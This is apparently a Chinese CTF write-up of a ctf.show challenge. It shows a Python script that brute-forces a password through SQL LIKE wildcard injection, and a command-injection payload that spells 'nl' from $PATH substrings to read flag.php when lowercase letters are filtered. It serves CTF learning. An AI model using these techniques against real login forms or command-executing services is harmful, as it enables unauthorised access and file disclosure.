67815b0c009ee970fe4014abaa3Fa6A0又是被虐的一天
进入正题
打开链接是个登录页面,没有注册的,猜测是sql注入,简单试几个命令
发现能过滤的都被过滤了,这还怎么玩,查看源代码,原来如此
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
给出了用户名,又给出了数据库查询语句,这很good
这里用到了like注入,就是模糊匹配
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
简单举个例子,创建一个名为"Persons"的表,如下
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
1 | Adams | John | Oxford Street | London |
2 | Bush | George | Fifth Avenue | New York |
3 | Carter | Thomas | Changan Street | Beijing |
比如要查这个表里的某个数据
我们希望从上面的 "Persons" 表中选取居住在以 "N" 开始的城市里的人:
我们可以使用下面的 SELECT 语句: SELECT * FROM Persons WHERE City LIKE 'N%'
它会自动查找到以N开头的字符串
所以结果是
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
2 | Bush | George | Fifth Avenue | New York |
既然我们知道了这个,首先_可以表示任何单个字符,我们可以直接用脚本爆破出它的密码
这里附上大佬脚本
import requests a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" url = 'http://15ba58d4-891b-4ca7-b771-3bb8efebbfdf.challenge.ctf.show:8080/login.php' pwd = '' for i in range(32): print('i = '+str(i+1),end='\t') for j in a: password = pwd + j + (31 - i) * '_' data = {'username':'yu22x','password':password} r = requests.post(url,data=data) if 'wrong' not in r.text: pwd += j print(pwd) break
如图,密码是67815b0c009ee970fe4014abaa3Fa6A0
接着进来以后,发现像命令执行
简单尝试一下
尝试了几个命令,别想了,输个字母都是违法的。。。。。。。最后看大佬博客才知道,好家伙把小写字母都过滤了
这里又用到了一个新的知识点
使用$PATH环境变量来截取字母
比如
那我们直接构造 nl flag.php
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???
代码,得到falg